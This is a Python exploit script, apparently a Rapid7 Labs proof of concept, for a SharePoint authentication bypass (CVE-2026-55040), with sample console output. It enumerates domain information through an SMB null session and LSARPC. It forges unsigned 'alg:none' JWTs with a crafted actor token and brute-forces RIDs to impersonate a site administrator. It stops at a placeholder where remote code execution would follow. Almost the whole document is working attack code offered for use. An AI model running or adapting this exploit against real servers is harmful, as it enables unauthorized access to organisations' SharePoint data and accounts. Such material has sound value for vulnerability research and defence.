# Archived for authorized security research only.
# Source: https://github.com/sfewer-r7/CVE-2026-55040 (see README for attribution/license)
#
# Title: Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
#
# Example Usage:
# 
# This example targets a remote SharePoint server located at WIN-FG3H2SKPOTA.fritz.box and a remode Domain Controller (DC)
# located at 192.168.86.11. The DC is used to resolve the target Domain ID, so the exploit can enumerate domain users via SID's.
#
# $ python CVE-2026-55040.py --host WIN-FG3H2SKPOTA.fritz.box --domain-ip 192.168.86.11
# ======================================================================
# Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)
# ======================================================================
# 
# [1] Auto-discovery...
# [+] Discovering x5t and realm from STS metadata...
#   [*] x5t: 84eAgzfNOtqgEPs8usO4Jr_0Zf8
#   [*] realm: 0e2603c3-5eef-4d0f-90ca-53ee9a7729a4
# [+] Discovering domain SID via SMB (192.168.86.11)...
#   [*] domain_sid: S-1-5-21-4203888158-2793536450-3921675298 (will iterate RIDs)
#   [*] DC differs from target; will discover SharePoint hostname separately
# [+] Targeting: https://WIN-FG3H2SKPOTA.fritz.box
# [+] Iterating RIDs to find site admin (500, then 1000-10000)...
#   [-] RID 500: no valid user
#   [-] RID 1000: no valid user
#   [-] RID 1050: no valid user
#   [-] RID 1100: no valid user
#   [-] RID 1150: no valid user
#   [-] RID 1200: no valid user
#   [-] RID 1250: no valid user
#   [-] RID 1300: no valid user
#   [-] RID 1350: no valid user
#   [-] RID 1400: no valid user
#   [-] RID 1450: no valid user
#   [-] RID 1500: no valid user
#   [-] RID 1550: no valid user
#   [-] RID 1600: no valid user
#   [+] RID 1602: i:0#.w|testdomain2\testuser1 (testuser1)
#   [+] RID 1605: SHAREPOINT\system (System Account) ** SITE ADMIN **
#   [+] Found site admin at RID 1605, stopping scan
# [+] Using site admin SID: S-1-5-21-4203888158-2793536450-3921675298-1605
# [+] Login: SHAREPOINT\system
# 
# [2] Forging JWT token...
#   [+] Token forged (1040 bytes)
# 
# [3] Obtaining form digest...
#   [+] Digest obtained.
#
import argparse
import base64
import hashlib
import json
import os
import socket
import ssl
import struct
import subprocess
import sys
import tempfile
import time

CURL_BIN = "curl.exe" if sys.platform == "win32" else "curl"

# Populated at runtime with ["--resolve", "host:port:ip"] so curl uses the
# target IP directly instead of relying on OS DNS (which fails on Linux for
# NetBIOS/short hostnames discovered via SMB or NTLM).
CURL_RESOLVE_ARGS = []

def curl(args: list, timeout: int = 60) -> str:
    """Execute curl and return stdout."""
    cmd = [CURL_BIN, "-sS", "-k", "--path-as-is"] + CURL_RESOLVE_ARGS + args
    result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
    if result.stderr:
        print(f"DEBUG STDERR:\n{result.stderr}")    
    return result.stdout


def xml_escape(s):
    """Escape XML special characters."""
    return (
        s.replace("&", "&amp;")
        .replace("<", "&lt;")
        .replace(">", "&gt;")
        .replace('"', "&quot;")
    )


def b64url_encode(data: bytes) -> str:
    return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def build_url(scheme: str, host: str, port: int = None, path: str = "") -> str:
    """Build a URL, including port only when non-standard."""
    default_port = 443 if scheme == "https" else 80
    if port and port != default_port:
        return f"{scheme}://{host}:{port}{path}"
    return f"{scheme}://{host}{path}"


def get_cert_names(host: str, port: int = None) -> dict:
    """Extract CN and SANs from the target's HTTPS certificate.

    Returns a dict with 'cn' (str) and 'sans' (list of str).
    Returns empty dict on failure.
    """
    port = port or 443
    result = {"cn": None, "sans": []}

    # First connection: grab the raw DER cert (no verification needed)
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        with socket.create_connection((host, port), timeout=10) as sock:
            with ctx.wrap_socket(sock, server_hostname=host) as ssock:
                der_cert = ssock.getpeercert(binary_form=True)
    except Exception as e:
        print(f"  [-] Could not connect to {host}:{port} for cert check: {e}")
        return result

    # Second connection: temporarily trust the cert so getpeercert()
    # returns the parsed dict with subject and subjectAltName fields
    pem_data = ssl.DER_cert_to_PEM_cert(der_cert)
    try:
        with tempfile.NamedTemporaryFile(mode="w", suffix=".pem", delete=False) as tmp:
            tmp.write(pem_data)
            tmp_path = tmp.name

        ctx2 = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
        ctx2.load_verify_locations(tmp_path)
        ctx2.check_hostname = False
        ctx2.verify_mode = ssl.CERT_REQUIRED

        with socket.create_connection((host, port), timeout=10) as sock:
            with ctx2.wrap_socket(sock, server_hostname=host) as ssock:
                parsed = ssock.getpeercert()

        for rdn in parsed.get("subject", ()):
            for attr_type, attr_value in rdn:
                if attr_type == "commonName":
                    result["cn"] = attr_value.lower()

        for san_type, san_value in parsed.get("subjectAltName", ()):
            if san_type == "DNS":
                result["sans"].append(san_value.lower())

    except Exception as e:
        print(f"  [-] Cert parsing failed: {e}")
    finally:
        try:
            os.unlink(tmp_path)
        except Exception:
            pass

    return result


def discover_sts_metadata(target: str, port: int = None) -> dict:
    """Discover realm and x5t from the STS metadata endpoint.

    Fetches /_layouts/15/metadata/json/1 over HTTPS and extracts:
    - realm from the issuer string (format: <client_id>@<realm>)
    - x5t from the SHA-1 thumbprint of the signing certificate
    """
    url = build_url("https", target, port, "/_layouts/15/metadata/json/1")
    try:
        body = curl(["--connect-timeout", "10", url], timeout=15).strip()
    except subprocess.TimeoutExpired:
        return {}
    if not body or body.startswith("<"):
        return {}
    try:
        data = json.loads(body)
    except json.JSONDecodeError:
        return {}

    info = {}
    issuer = data.get("issuer", "")
    if "@" in issuer:
        parts = issuer.split("@", 1)
        if parts[1]:
            info["realm"] = parts[1]

    keys = data.get("keys", [])
    if keys:
        cert_b64 = (keys[0].get("keyValue") or {}).get("value")
        if cert_b64:
            cert_der = base64.b64decode(cert_b64)
            thumbprint = hashlib.sha1(cert_der).digest()
            info["x5t"] = b64url_encode(thumbprint)

    return info


def discover_via_smb(host: str, port: int = 445, timeout: int = 10) -> dict:
    """Discover host, SID, and FQDN via SMB null session + LSARPC.

    Returns a dict with keys: hostname, fqdn, domain_sid.
    Returns None on failure."""
    try:
        from impacket.smbconnection import SMBConnection
        from impacket.dcerpc.v5 import transport, lsat, lsad
        from impacket.dcerpc.v5.dtypes import NULL

        smb = SMBConnection(host, host, sess_port=port, timeout=timeout)
        smb.login("", "")

        result = {}
        result["hostname"] = smb.getServerName()
        try:
            result["fqdn"] = smb.getServerDNSHostName()
        except Exception:
            pass

        # Query domain SID via LSARPC
        rpctransport = transport.SMBTransport(
            host, port, r"\lsarpc", smb_connection=smb
        )
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(lsat.MSRPC_UUID_LSAT)

        request = lsad.LsarOpenPolicy2()
        request["SystemName"] = NULL
        request["ObjectAttributes"]["RootDirectory"] = NULL
        request["ObjectAttributes"]["ObjectName"] = NULL
        request["ObjectAttributes"]["SecurityDescriptor"] = NULL
        request["ObjectAttributes"]["SecurityQualityOfService"] = NULL
        request["DesiredAccess"] = 0x00000001  # POLICY_VIEW_LOCAL_INFORMATION

        resp = dce.request(request)
        policy_handle = resp["PolicyHandle"]

        request2 = lsad.LsarQueryInformationPolicy()
        request2["PolicyHandle"] = policy_handle
        request2["InformationClass"] = 5  # PolicyAccountDomainInformation

        resp2 = dce.request(request2)

        try:
            info = resp2["PolicyInformation"]["PolicyAccountDomainInfo"]
            result["domain_sid"] = info["DomainSid"].formatCanonical()
        except TypeError:
            raw_data = resp2.getData()
            for i in range(len(raw_data) - 12):
                if (
                    raw_data[i] == 0x01
                    and raw_data[i + 2 : i + 8] == b"\x00\x00\x00\x00\x00\x05"
                ):
                    sub_count = raw_data[i + 1]
                    if 1 <= sub_count <= 15:
                        revision = raw_data[i]
                        authority = struct.unpack_from(
                            ">Q", b"\x00\x00" + raw_data[i + 2 : i + 8]
                        )[0]
                        parts = [f"S-{revision}-{authority}"]
                        for j in range(sub_count):
                            sa = struct.unpack_from("<I", raw_data, i + 8 + j * 4)[0]
                            parts.append(str(sa))
                        result["domain_sid"] = "-".join(parts)
                        break

        try:
            close_req = lsad.LsarClose()
            close_req["ObjectHandle"] = policy_handle
            dce.request(close_req)
        except Exception:
            pass

        dce.disconnect()
        smb.logoff()
        return result if result.get("domain_sid") else None

    except ImportError:
        print("  [-] impacket not installed; SMB discovery unavailable")
        return None
    except Exception as e:
        print(f"  [-] SMB discovery failed: {e}")
        return None


def discover_hostname_from_ntlm(target: str, port: int = None) -> dict:
    """Fallback: discover host and FQDN from NTLM Type 2 challenge over HTTPS."""
    type1 = "TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAKABhKAAAADw=="
    url = build_url("https", target, port, "/")
    try:
        output = curl(["-i", "-H", f"Authorization: NTLM {type1}", url], timeout=15)
    except subprocess.TimeoutExpired:
        return {}

    info = {}
    for line in output.splitlines():
        if "WWW-Authenticate: NTLM " in line:
            ntlm_b64 = line.split("NTLM ")[1].strip()
            data = base64.b64decode(ntlm_b64)
            ti_len = struct.unpack("<H", data[40:42])[0]
            ti_off = struct.unpack("<H", data[44:46])[0]
            target_info = data[ti_off : ti_off + ti_len]
            pos = 0
            while pos < len(target_info) - 4:
                avid = struct.unpack("<H", target_info[pos : pos + 2])[0]
                avlen = struct.unpack("<H", target_info[pos + 2 : pos + 4])[0]
                if avid == 0:
                    break
                val = target_info[pos + 4 : pos + 4 + avlen].decode(
                    "utf-16-le", errors="ignore"
                )
                if avid == 1:
                    info["hostname"] = val
                elif avid == 3:
                    info["fqdn"] = val
                pos += 4 + avlen
            break
    return info


def forge_jwt(
    host: str, realm: str, x5t: str, nameid: str, nii: str, extra_claims: dict = None
) -> str:
    """Forge a JWT token using the alg:none bypass.

    Supports SID-based identity (nameid=SID), UPN-based identity
    (nameid=dummy + extra_claims with 'upn' key), or AccessToken identity
    (nameid=claims identity string, nii='AccessToken').
    """
    now = int(time.time())
    cid = "00000003-0000-0ff1-ce00-000000000000"
    issuer = f"{cid}@{realm}"

    actor_header = {"alg": "RS256", "typ": "JWT", "x5t": x5t}
    actor_payload = {
        "iss": issuer,
        "nameid": issuer,
        "nbf": now - 300,
        "exp": now + 3600,
    }
    actor_jwt = (
        b64url_encode(json.dumps(actor_header).encode())
        + "."
        + b64url_encode(json.dumps(actor_payload).encode())
        + ".AAAA"
    )

    main_header = {"alg": "none", "typ": "JWT"}
    main_payload = {
        "aud": f"{cid}/{host.split('.')[0]}@{realm}",
        "iss": issuer,
        "nbf": now - 300,
        "exp": now + 3600,
        "nameid": nameid,
        "nii": nii,
        "trustedfordelegation": "true",
        "actortoken": actor_jwt,
    }
    if extra_claims:
        main_payload.update(extra_claims)

    return (
        b64url_encode(json.dumps(main_header).encode())
        + "."
        + b64url_encode(json.dumps(main_payload).encode())
        + "."
    )


def check_sid_for_admin(host: str, realm: str, x5t: str, sid: str,
                       scheme: str = "https", port: int = None) -> dict:
    """Forge a JWT for the given SID and check /_api/web/currentuser.

    Returns a dict with 'login_name', 'title', 'is_site_admin', 'sid'
    on success, or None if the SID doesn't resolve to a valid user."""
    token = forge_jwt(host, realm, x5t, sid, "urn:office:idp:activedirectory")
    url = build_url(scheme, host, port, "/_api/web/currentuser")
    stdout = curl([
        "-X", "GET",
        "-H", f"Host: {host.split('.')[0]}",
        "-H", f"Authorization: Bearer {token}",
        "-H", "Accept: application/json;odata=verbose",
        url,
    ], timeout=30)
    try:
        data = json.loads(stdout)
    except (json.JSONDecodeError, ValueError):
        return None
    d = data.get("d", {})
    if "LoginName" not in d:
        return None
    return {
        "login_name": d.get("LoginName", ""),
        "title": d.get("Title", "?"),
        "is_site_admin": d.get("IsSiteAdmin", False),
        "sid": sid,
    }


def get_digest(base_url: str, token: str, host: str = None) -> str:
    """Get form digest value using JWT auth."""
    headers = [
        "-H", f"Authorization: Bearer {token}",
        "-H", "Accept: application/json",
        "-H", "Content-Length: 0",
    ]
    if host:
        headers += ["-H", f"Host: {host.split('.')[0]}"]
    stdout = curl([
        "-X", "POST",
    ] + headers + [
        f"{base_url}/_api/contextinfo",
    ])
    try:
        return json.loads(stdout)["FormDigestValue"]
    except (json.JSONDecodeError, KeyError):
        print(f"[-] Failed to get digest. Response: {stdout[:300]}")
        sys.exit(1)


def main():
    parser = argparse.ArgumentParser(
        description="Rapid7 Labs - Microsoft SharePoint Authentication Bypass (CVE-2026-55040)"
    )

    parser.add_argument(
        "--target", help="Target IP address (auto-discovers all params)"
    )
    parser.add_argument("--host", help="SharePoint hostname (auto-discovered)")
    parser.add_argument(
        "--x5t", help="STS signing cert x5t (auto-discovered from metadata)"
    )
    parser.add_argument(
        "--realm", help="SharePoint realm GUID (auto-discovered from metadata)"
    )
    parser.add_argument(
        "--sid", help="Windows SID for identity (auto-discovered via LSARPC)"
    )
    parser.add_argument(
        "--upn",
        help="UPN for identity, e.g. administrator@domain.local "
        "(alternative to --sid, no SMB needed)",
    )
    parser.add_argument(
        "--auto-upn",
        action="store_true",
        help="Auto-construct UPN from HTTPS cert domain "
        "(no SMB needed; derives host from cert)",
    )
    parser.add_argument(
        "--username",
        default="administrator",
        help="Username for --auto-upn (default: administrator)",
    )
    parser.add_argument(
        "--rid",
        type=int,
        default=None,
        help="Specific RID to use (skips iteration). "
        "If not set, auto-SID iterates 500 then 1000+ to find a site admin",
    )
    parser.add_argument(
        "--max-rid",
        type=int,
        default=10000,
        help="Max RID to try during auto-SID iteration (default: 10000)",
    )
    parser.add_argument(
        "--port",
        type=int,
        default=None,
        help="Non-standard port for target web service "
        "(default: 443 for HTTPS, 80 for HTTP)",
    )
    parser.add_argument(
        "--domain-ip",
        default=None,
        help="Domain controller IP for SMB/LSARPC discovery "
        "(default: same as --target). Use when the DC is a different "
        "system than the SharePoint server",
    )
    parser.add_argument(
        "--http",
        action="store_true",
        help="Use HTTP instead of HTTPS (disables auto-discovery; "
        "must supply --host, --x5t, --realm, --sid manually)",
    )

    args = parser.parse_args()

    use_http = args.http
    use_upn = args.upn or args.auto_upn
    use_sid = args.sid or args.domain_ip
    port = args.port
    target = args.target or args.host
    if not target:
        print("[-] Must specify --target or --host")
        sys.exit(1)
    domain_ip = args.domain_ip or target

    print("=" * 70)
    print(parser.description)
    print("=" * 70)

    # Step 1: Auto-discovery phase
    print("\n[1] Auto-discovery...")

    if not use_http:
        # Discover x5t, realm from STS metadata (HTTPS)
        if not all([args.x5t, args.realm]):
            print("[+] Discovering x5t and realm from STS metadata...")
            sts = discover_sts_metadata(target, port)
            if sts:
                if not args.x5t and sts.get("x5t"):
                    args.x5t = sts["x5t"]
                    print(f"  [*] x5t: {args.x5t}")
                if not args.realm and sts.get("realm"):
                    args.realm = sts["realm"]
                    print(f"  [*] realm: {args.realm}")
            else:
                print("  [-] STS metadata discovery failed")

        if use_upn:
            # UPN path: derive host from HTTPS certificate (no SMB)
            if not args.host or args.auto_upn:
                print("[+] Discovering host from HTTPS certificate...")
                cert_info = get_cert_names(target, port)
                cn = cert_info.get("cn")
                if cn:
                    print(f"  [*] cert CN: {cn}")
                    if not args.host:
                        # hostname = first label of FQDN
                        args.host = cn.split(".")[0]
                        print(f"  [*] host: {args.host}")
                    if args.auto_upn and not args.upn:
                        # domain = everything after the first label
                        parts = cn.split(".", 1)
                        if len(parts) == 2:
                            domain = parts[1]
                            args.upn = f"{args.username}@{domain}"
                            print(f"  [*] upn: {args.upn}")
                        else:
                            print(
                                f"  [-] Cert CN '{cn}' has no domain part; "
                                "supply --upn manually"
                            )
                            sys.exit(1)
                else:
                    print("  [-] Could not extract cert CN")
                    if not args.host:
                        args.host = target
        elif use_sid:
            # SID path: discover domain SID via SMB LSARPC
            smb_info = None
            if not args.sid:
                print(f"[+] Discovering domain SID via SMB ({domain_ip})...")
                smb_info = discover_via_smb(domain_ip)
                if smb_info:
                    if args.rid is not None:
                        # Specific RID requested, use directly
                        args.sid = f"{smb_info['domain_sid']}-{args.rid}"
                        print(f"  [*] sid: {args.sid}")
                    else:
                        # Store domain_sid for RID iteration after discovery
                        args._domain_sid = smb_info['domain_sid']
                        print(f"  [*] domain_sid: {smb_info['domain_sid']} (will iterate RIDs)")
                    # Only use hostname/fqdn from SMB if DC is the same
                    # machine as SharePoint (default case)
                    if domain_ip == target:
                        if not args.host:
                            args.host = smb_info.get("hostname", target).lower()
                            print(f"  [*] host: {args.host}")
                            print(f"  [*] fqdn: {smb_info.get('fqdn', target).lower()}")
                    else:
                        print(f"  [*] DC differs from target; will discover SharePoint hostname separately")
                else:
                    print("  [-] SMB discovery failed (no domain SID)")

            # Discover SharePoint hostname if still needed
            if not args.host:
                print("[+] Discovering SharePoint hostname via NTLM challenge...")
                ntlm_info = discover_hostname_from_ntlm(target, port)
                if ntlm_info:
                    args.host = ntlm_info.get("hostname", target).lower()
                    print(f"  [*] host: {args.host}")
                    print(f"  [*] fqdn: {ntlm_info.get('fqdn', target).lower()}")
                else:
                    args.host = target
                    print(f"  [*] Using target IP as host: {args.host}")
        else:
            # Default path: no SID or UPN, use local service identity
            print("[+] No --domain-ip/--sid/--upn provided; using local service identity")
            if not args.host:
                print("[+] Discovering SharePoint hostname via NTLM challenge...")
                ntlm_info = discover_hostname_from_ntlm(target, port)
                if ntlm_info:
                    args.host = ntlm_info.get("hostname", target).lower()
                    print(f"  [*] host: {args.host}")
                    print(f"  [*] fqdn: {ntlm_info.get('fqdn', target).lower()}")
                else:
                    args.host = target
                    print(f"  [*] Using target IP as host: {args.host}")

    # Validate required params (allow missing SID if we have domain_sid for iteration)
    missing = []
    if not args.host:
        missing.append("--host")
    if not args.x5t:
        missing.append("--x5t")
    if not args.realm:
        missing.append("--realm")
    has_domain_sid = hasattr(args, '_domain_sid')
    if use_sid and not args.sid and not has_domain_sid:
        missing.append("--sid (or provide --domain-ip for auto-discovery)")
    if use_upn and not args.upn:
        missing.append("--upn")
    if missing:
        print(f"[-] Missing required parameters: {', '.join(missing)}")
        if use_http:
            print(
                "    (auto-discovery requires HTTPS; supply these manually with --http)"
            )
        sys.exit(1)

    scheme = "http" if use_http else "https"
    base_url = build_url(scheme, args.host, port)
    print(f"[+] Targeting: {base_url}")

    # Pin hostname->IP resolution so curl bypasses OS DNS.  This avoids
    # failures on Linux where NetBIOS/short hostnames cannot be resolved.
    global CURL_RESOLVE_ARGS
    if args.target and args.host and args.host.lower() != args.target.lower():
        resolve_port = port or (443 if scheme == "https" else 80)
        CURL_RESOLVE_ARGS = [
            "--resolve", f"{args.host}:{resolve_port}:{args.target}",
        ]
        print(f"  [*] curl resolve: {args.host}:{resolve_port} -> {args.target}")

    # Auto-SID RID iteration: find a site admin by trying RIDs
    if use_sid and not args.sid and has_domain_sid:
        domain_sid = args._domain_sid
        # Build RID list: 500 first (domain admin), then 1000+ (domain users)
        rids_to_try = [500]
        rids_to_try.extend(range(1000, args.max_rid + 1))
        print(f"[+] Iterating RIDs to find site admin (500, then 1000-{args.max_rid})...")

        found_users = []
        site_admin = None
        for rid in rids_to_try:
            sid = f"{domain_sid}-{rid}"
            user_info = check_sid_for_admin(
                args.host, args.realm, args.x5t, sid, scheme, port
            )
            if user_info:
                is_admin = user_info['is_site_admin']
                marker = " ** SITE ADMIN **" if is_admin else ""
                print(f"  [+] RID {rid}: {user_info['login_name']} "
                      f"({user_info['title']}){marker}")
                found_users.append(user_info)
                if is_admin and not site_admin:
                    site_admin = user_info
                    print(f"  [+] Found site admin at RID {rid}, stopping scan")
                    break
            else:
                # Print periodic progress to show liveness
                if rid == 500 or rid % 50 == 0:
                    print(f"  [-] RID {rid}: no valid user")

        if site_admin:
            args.sid = site_admin['sid']
            print(f"[+] Using site admin SID: {args.sid}")
            print(f"[+] Login: {site_admin['login_name']}")
        elif found_users:
            # No site admin found, fall back to first valid user
            args.sid = found_users[0]['sid']
            print(f"[!] No site admin found in RID range. Using first valid user: "
                  f"{found_users[0]['login_name']} (SID: {args.sid})")
        else:
            print(f"[-] No valid users found in RID range 500, 1000-{args.max_rid}")
            sys.exit(1)

    # Determine identity mode (UPN vs SID vs default local service)
    if use_upn:
        nameid = "upn_bypass"
        nii = "urn:office:idp:activedirectory"
        extra_claims = {"upn": args.upn}        
    elif use_sid or args.sid:
        nameid = args.sid
        nii = "urn:office:idp:activedirectory"
        extra_claims = None        
    else:
        nameid = "0#.w|nt authority\\local service"
        nii = "AccessToken"
        extra_claims = {"upn": "x@localhost"}

    # Step 2: Forge JWT
    print("\n[2] Forging JWT token...")

    token = forge_jwt(args.host, args.realm, args.x5t, nameid, nii, extra_claims)

    print(f"  [+] Token forged ({len(token)} bytes)")

    # Step 3: Get digest
    print("\n[3] Obtaining form digest...")

    digest = get_digest(base_url, token, args.host)

    print("  [+] Digest obtained.")

    # Step 4: ...RCE...


if __name__ == "__main__":
    main()